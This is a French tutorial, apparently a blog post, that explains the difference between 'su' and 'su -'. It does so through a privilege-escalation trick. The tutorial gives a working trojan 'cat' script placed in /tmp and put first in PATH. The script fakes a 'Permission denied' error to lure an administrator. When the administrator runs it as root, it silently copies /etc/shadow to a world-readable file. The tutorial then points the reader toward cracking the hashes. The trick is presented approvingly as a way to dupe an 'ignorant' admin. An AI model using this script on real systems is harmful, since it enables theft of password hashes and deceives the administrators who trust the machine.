su - invoque un shell de connexion après avoir changé d'utilisateur. Un shell de connexion réinitialise la plupart des variables d'environnement, fournissant une base propre.
su ne fait que changer d'utilisateur, fournissant un shell normal avec un environnement presque identique à celui de l'ancien utilisateur.
Imaginez que vous êtes un développeur de logiciels avec un accès normal à une machine et que votre administrateur ignorant ne vous donne pas l'accès au compte root. Essayons (avec un peu de chance) de le piéger:
Vous connnaisser évidement la commande catqui permet d'afficher le contenu d'un fichier ? Nous allons la piéger en en créant une fausse:
Nous allons la stocker dans le dossier tmp
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
Nous créons donc un script que nous allons évidement appeler cat
Dans ce script, si l'utilisateur n'est pas root, le script simulera un message de permission refusée.
Si l'utilisateur est root, le script va copier le contenu du fichier /etc/shadow dans le dossier tmp
Il va ensuite executer la commande cat normalement.
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
Nous allons maintenent rendre le script executable et l'ajouter dans notre PATH afin de pouvoir l'executer depuis n'importe quel dossier:
chmod +x /tmp/evil_bin/cat`
PATH="/tmp/evil_bin:$PATH"
Maintenant, allez voir votre administrateur pour lui demander pourquoi vous n'arrivez pas à afficher un fichier avec la commande cat.
Il va donc essayer en restant sur votre session mais ce ne sera pas le vrai programme catqui sera lancé mais notre petit script:
$ ls -l /home/vous/mon-super-fichier
-rw-r--r-- 1 you wheel 41 2020-06-28 13:00 mon-super-fichier
$ cat /home/vous/mon-super-fichier
/bin/cat: Permission denied!
Il va donc vouloir essayer avec les droits root en utilisant su. Et c'est à ce moment qu'il va faire une erreur. En effet, comme il utilise su au lieu de su -, les variables d'environnement ne sont pas écrasées. Il va donc une nouvelle fois executer notre script au lieu d'executer la vrai commande cat.
$ su
Password: ...
$ cat /home/vous/mon-super-fichier
du contenu super important dans ce fichier.
$ exit
Il aura donc l'impression que tout a fonctionné et fermé la session root. Donc, vous pouvez maintenant dire "Merci monsieur l'admin" ^^ En effet, notre piège a fonctionné:
Nous avons bien récupéré une copie du fichier /etc/shadowqui contient une liste de tous les comptes et les mots de passe chiffrés:
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2020-06-28 13:02 /tmp/shadow_copy
Il ne vous reste plus qu'a tenter de les déchiffrer... et pour ça, je vous laisse lire cet article de l'excellent korben
Sources: StackOverflow